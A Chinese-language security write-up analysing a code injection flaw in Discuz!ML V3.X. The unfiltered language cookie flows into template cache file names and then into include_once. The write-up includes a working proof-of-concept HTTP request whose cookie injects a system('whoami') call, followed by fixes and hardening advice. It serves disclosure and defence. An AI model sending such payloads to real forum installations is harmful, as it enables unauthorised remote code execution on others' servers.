Discuz!ML V3.X 代码注入分析
字数 1109 2025-08-27 12:33:31
Discuz!ML V3.X 代码注入漏洞分析与防御
漏洞概述
Discuz!ML(多语言版)V3.X版本存在一个严重的代码注入漏洞,攻击者可以通过控制语言参数(language)实现任意代码执行。该漏洞源于系统在处理用户可控的语言参数时未进行有效过滤,导致攻击者可以操纵临时模板文件的生成路径和内容。
漏洞定位
- 漏洞触发点:
source/module/portal/portal_index.php第32行 - 核心函数:
template()函数位于source/function/function_core.php524-655行 - 关键代码:
$cachefile = './data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '').templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
漏洞原理分析
-
参数传递链:
- 系统从Cookie中获取
language参数值($lng) - 该值被赋给
DISCUZ_LANG常量(source/class/discuz/discuz_application.php341行) DISCUZ_LANG用于构造模板缓存文件名- 最终通过
include_once包含该缓存文件
- 系统从Cookie中获取
-
关键问题:
- 从Cookie获取的
$lng参数未经任何过滤 - 该参数直接用于构造文件路径
- 攻击者可以注入恶意代码到缓存文件名中
- 从Cookie获取的
漏洞利用
-
利用条件:
- 目标系统使用Discuz!ML V3.X版本
- 攻击者能够修改Cookie中的
language参数
-
PoC示例:
GET /forum.php HTTP/1.1 Host: test.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: Z3T2_2132_saltkey=UoA95q3Q; Z3T2_2132_language=en'.system("whoami").'; Z3T2_2132_lastvisit=1562765759; Z3T2_2132_sid=fENq7z; Z3T2_2132_lastact=1562769440%09index.php%09; Z3T2_2132_sendmail=1; Z3T2_2132_onlineusernum=1 Upgrade-Insecure-Requests: 1 -
利用效果:
- 执行系统命令(如
whoami) - 返回当前系统用户信息
- 执行系统命令(如
影响范围
- 受影响版本:Discuz!ML V3.X全系列版本
- 受影响页面:约60多个使用
template()函数的页面(如论坛主页)
修复方案
-
临时修复:
在source/class/discuz/discuz_application.php第338行之后、341行之前添加过滤代码:$lng = str_replace(array('.', '/', '\\', "'", '"'), '', $lng); -
彻底修复:
- 更新到官方最新版本
- 对所有用户输入参数进行严格过滤和验证
- 限制文件名中可使用的字符集
防御建议
-
输入验证:
- 对Cookie中的
language参数进行严格过滤 - 只允许字母、数字和下划线等安全字符
- 对Cookie中的
-
输出处理:
- 在构造文件路径时进行转义处理
- 使用白名单机制限制可用的语言选项
-
权限控制:
- 限制
/data/template/目录的写入权限 - 设置适当的文件系统权限
- 限制
-
安全监控:
- 监控
/data/template/目录下的文件变化 - 记录异常的语言参数请求
- 监控
总结
该漏洞展示了未经验证的用户输入如何通过文件包含导致代码执行。开发人员应始终对所有用户输入保持警惕,实施严格的输入验证和输出处理机制,特别是在构造文件路径等敏感操作时。